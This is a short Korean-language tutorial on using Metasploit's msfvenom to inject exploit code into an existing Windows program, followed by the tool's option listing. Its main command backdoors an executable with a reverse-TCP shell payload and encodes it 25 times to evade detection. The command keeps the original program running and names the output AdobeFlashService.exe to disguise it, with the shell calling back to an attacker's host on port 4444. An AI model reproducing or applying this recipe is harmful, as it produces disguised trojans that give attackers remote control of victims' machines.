MSFVENOM을 이용하여 Application에 Exploit Code 주입하기
MSFVENOM
metasploit 에 포함된 기능 중 하나이며 간단한 명령으로 exploit 코드 생성, exploit이 포함된 프로그램 생성, 기존에 존재하는 프로그램에 주입하는 등 여러가지 행위가 가능합니다. msfpayload, msfencoder 로도 가능하지만 개인적으로는 venom 이 가장 편한 것 같습니다.
Command Line(Inject exploit code)
한줄의 명령으로 쉽게 프로그램 내 exploit 코드 주입이 가능합니다.
msfvenom -x codeblack.exe \
-p windows/shell/reverse_tcp \
-e x86/shikata_ga_nai \
-k -f exe \
-i 25 LHOST=xxx.xxx.xxx.xxx LPORT=4444 > AdobeFlashService.exe
-x
: 감염시킬 프로그램-p
: 삽입할 Payload-e
: 인코딩-f
: 포맷
Usage Venom
Usage: hvenom [options] <var=val>
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch <architecture> The architecture to use
--platform <platform> The platform of the payload
-s, --space <length> The maximum size of the resulting payload
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --options List the payload's standard options
-h, --help Show this message
--help-formats List available formats